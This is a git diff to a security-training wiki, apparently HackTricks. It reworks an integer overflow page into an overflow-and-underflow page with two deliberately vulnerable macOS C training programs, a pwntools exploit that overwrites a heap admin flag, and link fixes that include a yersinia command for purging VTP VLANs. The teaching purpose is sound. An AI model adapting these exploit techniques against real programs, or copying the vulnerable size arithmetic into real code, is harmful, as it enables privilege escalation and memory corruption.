diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9a62d47c5..dab618a10 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -785,7 +785,7 @@ - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) -- [Integer Overflow](binary-exploitation/integer-overflow.md) +- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index 865d1db9e..b9c04ea80 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -27,11 +27,11 @@ With so many techniques it's good to have a scheme when each technique will be u There are different was you could end controlling the flow of a program: - [**Stack Overflows**](../stack-overflow/index.html) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow + - Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow - Or via **Arbitrary Writes + Write What Where to Execution** - [**Format strings**](../format-strings/index.html)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow + - Might need to abuse an [**Integer Overflows**](../integer-overflow-and-underflow.md) to cause the overflow - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. You can find the **Write What Where to Execution** techniques in: diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md new file mode 100644 index 000000000..1d6ababf7 --- /dev/null +++ b/src/binary-exploitation/integer-overflow-and-underflow.md @@ -0,0 +1,389 @@ +# Integer Overflow + +{{#include ../banners/hacktricks-training.md}} + +## Basic Information + +At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. + +For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. + +Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). + +Max values for common integer types: +| Type | Size (bits) | Min Value | Max Value | +|----------------|-------------|--------------------|--------------------| +| int8_t | 8 | -128 | 127 | +| uint8_t | 8 | 0 | 255 | +| int16_t | 16 | -32,768 | 32,767 | +| uint16_t | 16 | 0 | 65,535 | +| int32_t | 32 | -2,147,483,648 | 2,147,483,647 | +| uint32_t | 32 | 0 | 4,294,967,295 | +| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | +| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 | + +A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems. + +### Max values + +For potential **web vulnerabilities** it's very interesting to know the maximum supported values: + +{{#tabs}} +{{#tab name="Rust"}} + +```rust +fn main() { + + let mut quantity = 2147483647; + + let (mul_result, _) = i32::overflowing_mul(32767, quantity); + let (add_result, _) = i32::overflowing_add(1, quantity); + + println!("{}", mul_result); + println!("{}", add_result); +} +``` + +{{#endtab}} + +{{#tab name="C"}} + +```c +#include +#include + +int main() { + int a = INT_MAX; + int b = 0; + int c = 0; + + b = a * 100; + c = a + 1; + + printf("%d\n", INT_MAX); + printf("%d\n", b); + printf("%d\n", c); + return 0; +} +``` + +{{#endtab}} +{{#endtabs}} + +## Examples + +### Pure overflow + +The printed result will be 0 as we overflowed the char: + +```c +#include + +int main() { + unsigned char max = 255; // 8-bit unsigned integer + unsigned char result = max + 1; + printf("Result: %d\n", result); // Expected to overflow + return 0; +} +``` + +### Signed to Unsigned Conversion + +Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: + +```c +#include + +int main() { + int userInput; // Signed integer + printf("Enter a number: "); + scanf("%d", &userInput); + + // Treating the signed input as unsigned without validation + unsigned int processedInput = (unsigned int)userInput; + + // A condition that might not work as intended if userInput is negative + if (processedInput > 1000) { + printf("Processed Input is large: %u\n", processedInput); + } else { + printf("Processed Input is within range: %u\n", processedInput); + } + + return 0; +} +``` + +In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. + +### macOS Overflow Example + +```c +#include +#include +#include +#include +#include + +/* + * Realistic integer-overflow β†’ undersized allocation β†’ heap overflow β†’ flag + * Works on macOS arm64 (no ret2win required; avoids PAC/CFI). + */ + +__attribute__((noinline)) +void win(void) { + puts("πŸŽ‰ EXPLOITATION SUCCESSFUL πŸŽ‰"); + puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}"); + exit(0); +} + +struct session { + int is_admin; // Target to flip from 0 β†’ 1 + char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { + // Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY) + const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine) + size_t got = 0; + + printf("Requested bytes: %zu\n", want); + + while (got < want) { + size_t remain = want - got; + size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + + ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); + if (n > 0) { + got += (size_t)n; + continue; + } + if (n == 0) { + // EOF – stop; partial reads are fine for our exploit + break; + } + // n < 0: real error (likely EINVAL when chunk too big on some FDs) + perror("read"); + break; + } + return got; +} + + +int main(void) { + setvbuf(stdout, NULL, _IONBF, 0); + puts("=== Bundle Importer (training) ==="); + + // 1) Read attacker-controlled parameters (use large values) + size_t count = 0, elem_size = 0; + printf("Entry count: "); + if (scanf("%zu", &count) != 1) return 1; + printf("Entry size: "); + if (scanf("%zu", &elem_size) != 1) return 1; + + // 2) Compute total bytes with a 32-bit truncation bug (vulnerability) + // NOTE: 'product32' is 32-bit β†’ wraps; then we add a tiny header. + uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. + /* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits + Then, product32 = 0 + */ + uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32 + printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32); + + // 3) Allocate a single arena and lay out [buffer][slack][session] + // This makes adjacency deterministic (no reliance on system malloc order). + const size_t SLACK = 512; + size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220) + unsigned char *arena = (unsigned char*)malloc(arena_sz); + if (!arena) { perror("malloc"); return 1; } + memset(arena, 0, arena_sz); + + unsigned char *buf = arena; // In this buffer the attacker will copy data + struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48 + sess->is_admin = 0; + strncpy(sess->note, "regular user", sizeof(sess->note)-1); + + printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n", + (void*)arena, (void*)buf, alloc32, (void*)sess, + ((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16). + + // 4) Copy uses native size_t product (no truncation) β†’ It generates an overflow + size_t to_copy = count * elem_size; // <-- Large size_t + printf("[dbg] requested copy (size_t) = %zu\n", to_copy); + + puts(">> Send bundle payload on stdin (EOF to finish)..."); + size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1 + printf("[dbg] actually read = %zu bytes\n", got); + + // 5) Privileged action gated by a field next to the overflow target + if (sess->is_admin) { + puts("[dbg] admin privileges detected"); + win(); + } else { + puts("[dbg] normal user"); + } + return 0; +} +``` + +Compile it with: + +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ + -o int_ovf_heap_priv int_ovf_heap_priv.c +``` + +#### Exploit + +```python +# exploit.py +from pwn import * + +# Keep logs readable; switch to "debug" if you want full I/O traces +context.log_level = "info" + +EXE = "./int_ovf_heap_priv" + +def main(): + # IMPORTANT: use plain pipes, not PTY + io = process([EXE]) # stdin=PIPE, stdout=PIPE by default + + # 1) Drive the prompts + io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0 + io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48 + + # 2) Wait until it’s actually reading the payload + io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...") + + # 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian) + payload = b"A" * 48 + p32(1) + + # 4) Send payload, THEN send EOF via half-close on the pipe + io.send(payload) + io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary + + # 5) Read the rest (should print admin + FLAG) + print(io.recvall(timeout=5).decode(errors="ignore")) + +if __name__ == "__main__": + main() +``` + +### macOS Underflow Example + +```c +#include +#include +#include +#include +#include + +/* + * Integer underflow -> undersized allocation + oversized copy -> heap overwrite + * Works on macOS arm64. Data-oriented exploit: flip sess->is_admin. + */ + +__attribute__((noinline)) +void win(void) { + puts("πŸŽ‰ EXPLOITATION SUCCESSFUL πŸŽ‰"); + puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}"); + exit(0); +} + +struct session { + int is_admin; // flip 0 -> 1 + char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { + // Read in bounded chunks so huge 'want' doesn't break on PTY/TTY. + const size_t MAX_CHUNK = 1 << 20; // 1 MiB + size_t got = 0; + printf("[dbg] Requested bytes: %zu\n", want); + while (got < want) { + size_t remain = want - got; + size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); + if (n > 0) { got += (size_t)n; continue; } + if (n == 0) break; // EOF: partial read is fine + perror("read"); break; + } + return got; +} + +int main(void) { + setvbuf(stdout, NULL, _IONBF, 0); + puts("=== Packet Importer (UNDERFLOW training) ==="); + + size_t total_len = 0; + printf("Total packet length: "); + if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8" + + const size_t HEADER = 16; + + // **BUG**: size_t underflow if total_len < HEADER + size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned + // If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number) + printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n", + total_len, HEADER, payload_len); + + // Build a deterministic arena: [buf of total_len][16 gap][session][slack] + const size_t SLACK = 256; + size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160) + unsigned char *arena = (unsigned char*)malloc(arena_sz); + if (!arena) { perror("malloc"); return 1; } + memset(arena, 0, arena_sz); + + unsigned char *buf = arena; + struct session *sess = (struct session*)(arena + total_len + 16); + // The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18) + sess->is_admin = 0; + strncpy(sess->note, "regular user", sizeof(sess->note)-1); + + printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n", + (void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16); + + puts(">> Send payload bytes (EOF to finish)..."); + size_t got = read_stdin(buf, payload_len); + // The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 + printf("[dbg] actually read = %zu bytes\n", got); + + if (sess->is_admin) { + puts("[dbg] admin privileges detected"); + win(); + } else { + puts("[dbg] normal user"); + } + return 0; +} +``` + +Compile it with: + +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ + -o int_underflow_heap int_underflow_heap.c +``` + +### Other Examples + +- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) + - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) + + - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: + + ``` + (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) + ``` + +- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) + - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections + +## ARM64 + +This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). + +{{#include ../banners/hacktricks-training.md}} + + + diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md deleted file mode 100644 index 2a67c7584..000000000 --- a/src/binary-exploitation/integer-overflow.md +++ /dev/null @@ -1,126 +0,0 @@ -# Integer Overflow - -{{#include ../banners/hacktricks-training.md}} - -## Basic Information - -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. - -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. - -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). - -### Max values - -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: - -{{#tabs}} -{{#tab name="Rust"}} - -```rust -fn main() { - - let mut quantity = 2147483647; - - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); - - println!("{}", mul_result); - println!("{}", add_result); -} -``` - -{{#endtab}} - -{{#tab name="C"}} - -```c -#include -#include - -int main() { - int a = INT_MAX; - int b = 0; - int c = 0; - - b = a * 100; - c = a + 1; - - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; -} -``` - -{{#endtab}} -{{#endtabs}} - -## Examples - -### Pure overflow - -The printed result will be 0 as we overflowed the char: - -```c -#include - -int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; -} -``` - -### Signed to Unsigned Conversion - -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - -```c -#include - -int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); - - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; - - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } - - return 0; -} -``` - -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples - -- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection -- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: - - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` - -- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections - -## ARM64 - -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). - -{{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 735e637e2..d1063470c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -427,9 +427,9 @@ VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcem Note: This discussion pertains to VTP version 1 (VTPv1). -````bash -%% yersinia -G # Launch Yersinia in graphical mode ``` -```` +```bash +yersinia -G # Launch Yersinia in graphical mode +``` In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md index 762ddd102..7fff62aa4 100644 --- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md +++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md @@ -6,7 +6,7 @@ > > {{#ref}} -> ../../binary-exploitation/integer-overflow.md +> ../../binary-exploitation/integer-overflow-and-underflow.md > {{#endref}} ---